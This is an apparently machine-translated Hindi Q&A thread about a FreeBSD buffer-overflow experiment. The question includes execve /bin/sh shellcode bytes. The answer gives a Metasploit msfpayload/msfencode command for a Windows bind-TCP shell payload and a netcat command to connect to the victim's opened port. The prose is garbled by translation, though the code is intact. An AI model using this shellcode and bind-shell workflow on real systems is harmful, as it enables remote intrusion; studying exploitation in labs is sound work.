2012-05-26 24 views
6

मैं फ्रीबीएसडी सिस्टम पर बफर ओवरफ्लो के साथ प्रयोग कर रहा हूं। पहले प्रयोग के रूप में मैंने शोषित कार्यक्रम को एक और प्रक्रिया शुरू करने की कोशिश की है (/ इस मामले में बिन/होस्टनाम)। यह सब ठीक काम किया, कार्यक्रम मेजबाननाम मुद्रित किया और फिर समाप्त कर दिया। उसके बाद मैंने प्रोग्राम को खोलने की कोशिश की (यानी निष्पादन/बिन/sh)। मैंने माना कि यह प्रोग्राम को प्रदर्शित करने वाले स्ट्रिंग का आदान-प्रदान करके किया जा सकता है। जब मैं इसे कोशिश करता हूं तो शोषित प्रोग्राम बस छोड़ देता है, जीडीबी के अनुसार यह सफलतापूर्वक एक नई प्रक्रिया (/ bin/sh) उत्पन्न करता है। हालांकि, कोई खोल पैदा नहीं हुआ है। मैंने फिर अपना पहला शोषण करने की कोशिश की और/bin/sh फ़ाइल को/bin/hostname में ले जाया, फिर भी कुछ भी नहीं बदला। मेरा प्रश्न अब है, किसी भी अन्य कमांड से निष्पादन/बिन/sh के बारे में क्या लगता है?बफर ओवरफ़्लो - प्रोग्राम खोलने के बाद समाप्त होता है

संदर्भ के लिए, खोल स्पॉन प्रयास के लिए मैं निम्नलिखित shellcode प्रयोग किया है:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e\x89\xe3\x50" 
"\x54\x53\xb0\x3b\x50\xcd\x80"; 
+0

यह संबंधित हो सकता है: http://forums.freebsd.org/showthread.php?t=10054 – zxcdw

+0

अधिक जानकारी की आवश्यकता है, इसलिए अपने कोड को अपने शेलकोड स्रोत सहित पोस्ट करें, ताकि लोग इसमें देख सकें। – rumpel

उत्तर

3

हा, मैं देख रहा हूँ तुम क्या मतलब है, लेकिन मेरा मानना ​​है कि आप एक मौलिक गलती कर रहे हैं। आप बिना बाध्य किए एक इंटरैक्टिव खोल का आह्वान कर रहे हैं।

यह "ifconfig" कमांड को कॉल करने जैसा है। यदि आप एक एकल आदेश निष्पादित करना चाहते हैं, तो आपका खोल कोड सही है, हालांकि यदि आप एक इंटरैक्टिव खोल चाहते हैं, तो आप केवल sh चला नहीं सकते हैं।

बस चलने वाला शेल एक खोल को निष्पादित करने का कारण बनता है, यह आपको खोल पर इंटरैक्टिव नियंत्रण नहीं देगा।


समाधान: उपयोग एक खोल कोड जनरेटर एक रिवर्स टीसीपी खोल या एक बाँध खोल बनाने के लिए और उपयोग करने के लिए है कि अपने शोषण पेलोड के रूप में के लिए।

यदि आप मेटास्पलोइट में ऐसा करने का प्रयास कर रहे हैं तो यहां एक उदाहरण आदेश है जिसे आप चाहते हैं।

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c 
  • Msfpayload समारोह का नाम है। विंडोज़/shell_bind_tcp का फायदा उठाने के पथ
  • LPORT पोर्ट जिस पर दूरदराज के शिकार मशीन खोल सुलभ होगा है
  • आर कच्चे उत्पादन
  • फिर हम पाइप कि msfencode के बाद से हम इसे की जरूरत होने के लिए है सी कोड निष्पादन योग्य होने के लिए और यह कि वास्तुकला
  • -e समर्थन करने के लिए एन्कोडिंग प्रकार और स्थापत्य कला को दर्शाता है के लिए संकलित किया जाना है, उदाहरण के लिए विन SP2 के लिए है
  • बी बाइट्स आप खोल में उपयोग नहीं कर सकते को दर्शाता है कोड। उदाहरण 00 स्ट्रिंग बाइट
  • -t आउटपुट प्रकार का अंत है, सी कोड के रूप में।

थोड़ा और अनुसंधान करें और आप इसे प्राप्त करेंगे। अनिवार्य रूप से एक स्थिर कमांड निष्पादित करने की तुलना में एक इंटरैक्टिव खोल प्राप्त करना बहुत कठिन होता है।

एक बार हो जाने पर, आप कनेक्ट करने और खोल का उपयोग करने के लिए नेटकैट जैसे प्रोग्राम का उपयोग कर सकते हैं।

netcat.exe -nv <victim ip> <port where shell was bound to> 

आशा है कि यह सही समाधान था।

संबंधित मुद्दे